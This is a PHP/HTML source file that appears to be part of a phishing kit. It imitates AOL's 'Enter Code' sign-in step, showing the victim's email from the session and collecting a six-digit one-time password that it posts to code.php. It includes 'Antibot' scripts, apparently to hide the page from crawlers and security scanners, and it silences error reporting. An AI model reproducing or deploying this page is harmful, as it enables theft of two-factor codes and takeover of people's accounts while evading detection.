<?php
error_reporting(0);
session_start();
include('Antibot/Bot-Crawler.php');
include('Antibot/Dila_DZ.php');
include('Antibot/blockers.php');
include('Antibot/detects.php');
include('Antibot/antibot_host.php');
include('Antibot/antibot_userAgent.php');
//include('Antibot/antibot_ip.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Sign In - AOL</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <script src="https://unpkg.com/imask"></script>
</head>
<body class="min-h-screen flex flex-col relative">

  <!-- Header -->
  <header class="p-4">
    <nav class="flex justify-between space-x-6">
      <span class="text-6xl font-bold"><img class="w-24" src="https://s.yimg.com/cv/apiv2/ybar/logos/aol-logo-black-v1.png" alt="" srcset=""></span>
      <div>
        <a href="#" class="text-sm text-blue-600 hover:underline">Help</a>
        <a href="#" class="text-sm text-blue-600 hover:underline">Terms</a>
        <a href="#" class="text-sm text-blue-600 hover:underline">Privacy</a>
      </div>
    </nav>
  </header>

  <!-- Main Content -->
  <main class="flex-1 flex items-center justify-end md:mr-40">
    <div class="w-full sm:max-w-md p-6 border">
      <!-- Logo -->
      <div class="flex justify-center mb-8">
        <span class="text-6xl font-bold"><img class="w-24" src="https://s.yimg.com/cv/apiv2/ybar/logos/aol-logo-black-v1.png" alt="" srcset=""></span>
      </div>

      <!-- Display Email -->
      <p class="text-gray-600 text-center mb-4 font-medium"><?php echo htmlspecialchars($_SESSION['email'] ?? ''); ?></p>
      <input type="hidden" name="email" value="<?php echo htmlspecialchars($_SESSION['email'] ?? ''); ?>">

      <!-- Sign-In Form -->
      <h1 class="text-2xl font-semibold mb-8">Enter Code</h1>
      <p>A one time password was sent to your registered phone</p>
      <form class="space-y-6" action="code.php" method="POST" id="otp-form">
        <!-- Input Field -->
        <div class="space-y-2">
          <input 
            id="code"
            name="code"
            type="text" 
            placeholder="Enter 6-digit verification code" 
            maxlength="6" 
            minlength="6" 
            pattern="[0-9]{6}" 
            inputmode="numeric" 
            required
            class="w-full p-3 border-b border-gray-300 rounded focus:outline-none focus:border-blue-500"
          />
          <script>
            document.addEventListener("DOMContentLoaded", function () {
            var element = document.getElementById("code");
            var maskOptions = {
              mask: "000000",
            };
            var mask = new IMask(element, maskOptions);
            });
          </script>
        </div>

        <!-- Next Button -->
        <button 
          type="submit"
          class="w-full p-3 bg-blue-500 text-white font-medium rounded hover:bg-blue-600"
          id="submit-btn"
        >
          Next
        </button>

        <!-- Stay Signed In & Forgot Username -->
        <div class="flex items-center justify-between text-sm mb-20">
          <div class="flex items-center space-x-2">
            <input 
              type="checkbox" 
              id="stay-signed-in" 
              class="form-checkbox h-4 w-4 text-blue-500"
            />
            <label for="stay-signed-in" class="text-gray-600">Stay signed in</label>
          </div>
          <a href="#" class="text-blue-500 hover:underline">Forgot username?</a>
        </div>
      </form>

      <!-- Create Account Button -->
      <button 
        class="w-full mt-6 p-3 border border-gray-300 text-gray-700 font-medium rounded hover:bg-gray-100 my-24"
      >
        Create an account
      </button>
    </div>
  </main>

  <!-- Modal -->
  <div id="loading-modal" class="fixed inset-0 bg-gray-900 bg-opacity-50 flex items-center justify-center hidden">
    <div class="bg-white p-6 rounded shadow-lg text-center">
      <div class="loader border-t-4 border-blue-500 rounded-full w-12 h-12 mx-auto animate-spin"></div>
      <p class="mt-4 text-gray-700">Please wait...</p>
    </div>
  </div>

  <script>
    // Function to display the saved email
    function displaySavedEmail() {
      const savedEmail = localStorage.getItem('savedEmail');
      if (savedEmail) {
        document.getElementById('display-email').textContent = `Signed in as: ${savedEmail}`;
      }
    }

    // Call the function when the page loads
    document.addEventListener('DOMContentLoaded', displaySavedEmail);

    // Function to handle form submission
    document.addEventListener('DOMContentLoaded', function() {
      const form = document.getElementById('otp-form');
      const submitBtn = document.getElementById('submit-btn');
      
      if (form) {
        form.addEventListener('submit', function(event) {
          //event.preventDefault(); // Prevent immediate form submission
          const modal = document.getElementById('loading-modal');

          // Show the modal
          if (modal) {
            modal.classList.remove('hidden');
          }

          // Disable submit button to prevent double submission
          if (submitBtn) {
            submitBtn.disabled = true;
            submitBtn.textContent = 'Processing...';
          }

          // Submit the form after a short delay
          /*
          setTimeout(() => {
            form.submit(); // Manually submit the form
          }, 2000);
          */
        });
      }
    });
  </script>

  <style>
    .loader {
      border: 4px solid #f3f3f3; /* Light grey */
      border-top: 4px solid #3498db; /* Blue */
      border-radius: 50%;
      width: 40px;
      height: 40px;
      animation: spin 1s linear infinite;
    }

    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }
  </style>

</body>
</html>